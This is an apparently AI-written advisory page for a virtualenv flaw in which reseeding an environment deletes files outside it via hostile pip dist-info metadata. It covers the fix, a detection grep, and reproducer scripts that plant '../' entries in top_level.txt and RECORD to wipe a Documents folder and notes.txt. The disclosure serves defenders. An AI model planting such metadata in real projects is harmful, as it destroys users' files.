NewApp Monitoring is liveSign up free
AgentbeamBeta
Open-source package vulnerability · PyPI

CVE-2026-113719: virtualenv: Seed replacement does not contain metadata deletion paths

mediumCVSS 3.1 4.5GHSA-hhxq-47xx-j5xx

When virtualenv reseeds an existing environment, it deletes paths named in the old pip dist-info metadata without checking they stay inside the environment. A prepared project tree can make virtualenv delete the invoking user's files, such as a Documents folder. Fixed in virtualenv 21.14.9.

Published Oct 23, 2026 · Analysis Nov 2, 2026

What an attacker can do

Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins every entry onto site-packages and deletes the result. It does not check for .., absolute entries or linked parents.

The scanner built a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/ whose top_level.txt held ../../../../../Documents and whose RECORD held ../../../../../notes.txt,,. Running virtualenv .venv in that project deleted both the Documents folder and notes.txt from the home directory, and exited successfully. A control with normal metadata deleted nothing.

So the attacker needs to get a prepared .venv into a project that a user then reseeds, for example through a downloaded archive or a repository that ships a leftover .venv. The deletion runs during creation with the invoking user's rights, before the environment is used. Complexity is rated high because the victim must reuse the tree. A fresh empty destination, and virtualenv --clear, which removes that tree first, do not enter this path.

Who is affected

virtualenv before 21.14.9. The confirmed release is 21.14.8. The advisory says the range records that release only, and does not establish the first affected version or rule out earlier ones. Check:

virtualenv --version

You are exposed when you run virtualenv against a directory that already holds an environment with metadata you did not create.

virtualenv

Ecosystem
PyPI
Affected
< 21.14.9
Fixed in
21.14.9
Check
pip show virtualenv

How to fix it

Upgrade to virtualenv 21.14.9:

pip install --upgrade virtualenv==21.14.9

Pull request 3428 checks each deletion path against the resolved environment root. It refuses to delete the root itself and skips paths outside it with a warning. Final links are removed without following their targets, and parent links are part of the containment check. The workaround is to recreate environments from a trusted empty destination, not reseed a tree with untrusted installed metadata.

How to tell if you were hit

Before reseeding a downloaded project, inspect any existing .venv for pip-*.dist-info/top_level.txt and RECORD files whose lines contain .. or absolute paths:

grep -rn '\.\.' .venv/lib/*/site-packages/pip-*.dist-info/top_level.txt .venv/lib/*/site-packages/pip-*.dist-info/RECORD

After the fix, a warning about skipped cleanup paths shows that a hostile entry was refused.

Original advisory

From the GitHub Advisory Database (CC BY 4.0).

Summary

The app-data seeder joins paths from existing distribution metadata to site-packages and deletes the resulting paths without checking containment within the environment.

Anthropic's OSS Scanner reported this as ANT-2026-SXOEHWP7 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Removal of a previously installed seed package.

Attacker-controlled input

An environment being reused must contain distribution metadata influenced by another account. The invoking user must have deletion rights over the paths named by that metadata. Installing a new environment without existing package metadata does not enter this cleanup path.

Affected code

The relevant 21.14.8 source is in seed uninstall.

Mechanism

Before reinstalling a seed wheel, PipInstall._uninstall_previous_version() accepts an existing pip-*.dist-info directory in the destination. _uninstall_dist() reads its top_level.txt and RECORD, joins each entry to site-packages, and deletes the result. It does not check whether .., an absolute entry, or a linked parent takes the path outside the environment. The default app-data seeder reaches this path when it reuses a tree containing seed-package metadata; --clear removes that tree first.

Reproduction and evidence

The scanner prepared a project with .venv/lib/python3.14/site-packages/pip-1.0.dist-info/. Its top_level.txt contained ../../../../../Documents; its RECORD named ../../../../../notes.txt,,. The user's home initially held Documents/thesis/chapter1.txt and notes.txt. Running virtualenv .venv exited successfully but removed both paths. A control tree with top_level.txt set to pip and a normal pip/__init__.py RECORD entry left the home files in place. The reproducer prints BUG only when the control files survive and both attack targets disappear.

The deletion uses the invoking user's permissions and runs during creation, before any use of the environment. It requires an existing destination that another account could populate; a fresh empty environment does not supply hostile metadata. The report traces this cleanup to #2186, first released in 20.8.1. PR #3428 checks each deletion path against the resolved environment root and refuses to delete the root itself.

Attack sequence

sequenceDiagram
    participant A as Prepared .venv metadata
    participant V as App-data seeder
    participant P as site-packages
    participant H as User home
    A->>P: top_level.txt names ../../../../../Documents
    A->>P: RECORD names ../../../../../notes.txt
    V->>P: read pip-1.0.dist-info before reinstall
    P->>H: join entries without containment check
    V->>H: remove Documents and notes.txt
    V-->>A: virtualenv exits successfully

Reproducer files

The following files are from the scanner report for ANT-2026-SXOEHWP7. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

`repro`

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

work = Path("/tmp/repro-seed-uninstall")
shutil.rmtree(work, ignore_errors=True)
USER_FILES = ("Documents/thesis/chapter1.txt", "notes.txt")


def make_home(name):
    home = work / name
    (home / "Documents" / "thesis").mkdir(parents=True)
    (home / "Documents" / "thesis" / "chapter1.txt").write_text("months of work\n")
    (home / "notes.txt").write_text("my notes\n")
    return home


def unpack_attacker_project(home, top_level_line, record_line):
    subprocess.run(
        [sys.executable, "/tmp/repro.d/make_project_tree.py", home / "project", top_level_line, record_line],
        check=True,
    )


def user_runs_virtualenv(home):
    # HOME only gives each run its own ~ and app-data; --no-periodic-update keeps the run offline
    result = subprocess.run(
        ["virtualenv", "--no-periodic-update", ".venv"],
        cwd=home / "project",
        env={**os.environ, "HOME": str(home)},
        stdout=subprocess.PIPE,
        text=True,
        check=True,
    )
    print(result.stdout, end="")


def files_left(home):
    return [f for f in USER_FILES if (home / f).exists()]


# control: the project ships well-formed pip metadata
control_home = make_home("control")
unpack_attacker_project(control_home, "pip", "pip/__init__.py,,")
user_runs_virtualenv(control_home)
control_left = files_left(control_home)
print(f"CONTROL  user files still in ~ after virtualenv: {control_left}")

# attack: site-packages is ~/project/.venv/lib/python3.X/site-packages, so five ".." is ~
attack_home = make_home("attack")
unpack_attacker_project(attack_home, "../../../../../Documents", "../../../../../notes.txt,,")
print(f"BEFORE   user files in ~ before virtualenv: {files_left(attack_home)}")
user_runs_virtualenv(attack_home)
attack_left = files_left(attack_home)
print(f"OBSERVED user files still in ~ after virtualenv: {attack_left}")

# check: creating an environment must never delete the user's files outside it
print("BUG" if control_left == list(USER_FILES) and attack_left == [] else "OK")

`repro.d/make_project_tree.py`

#!/usr/bin/env python3
import sys
from pathlib import Path

project = Path(sys.argv[1])
top_level_line = sys.argv[2]
record_line = sys.argv[3]

project.mkdir(parents=True)
(project / "README").write_text("Set up with: virtualenv .venv\n")

# a leftover .venv claiming pip 1.0 is installed; one copy per lib/python3.X, as the victim's Python is unknown
for minor in range(9, 16):
    dist_info = project / ".venv" / "lib" / f"python3.{minor}" / "site-packages" / "pip-1.0.dist-info"
    dist_info.mkdir(parents=True)
    (dist_info / "top_level.txt").write_text(top_level_line + "\n")
    (dist_info / "RECORD").write_text(record_line + "\n")

Impact

Seed cleanup can delete files outside the environment or the environment root itself. The invoking user must have deletion rights over those paths.

Severity: medium. CVSS 4.5, CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L, assigned during maintainer review.

Versions tested

The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.

The fix skips cleanup paths outside the resolved environment root, and the root itself, with a warning. Final links are removed without following their targets; parent links participate in containment checks.

Fix: PR #3428.

Known mitigation

Recreate environments from a trusted empty destination rather than reseeding a tree with untrusted installed metadata.

Affected release

  • [x] The problem reproduces on virtualenv 21.14.8.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-SXOEHWP7.

Questions

Does CVE-2026-113719 affect new environments?

Not when the destination is empty. A fresh environment has no old metadata to read. The flaw needs an existing tree with hostile pip dist-info.

Does --clear protect me?

Yes. The advisory says --clear removes the old tree first, so the cleanup path is not reached.

Which version fixes it?

virtualenv 21.14.9. Release 21.14.8 is the one confirmed vulnerable.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology

More PyPI vulnerabilities

All PyPI entries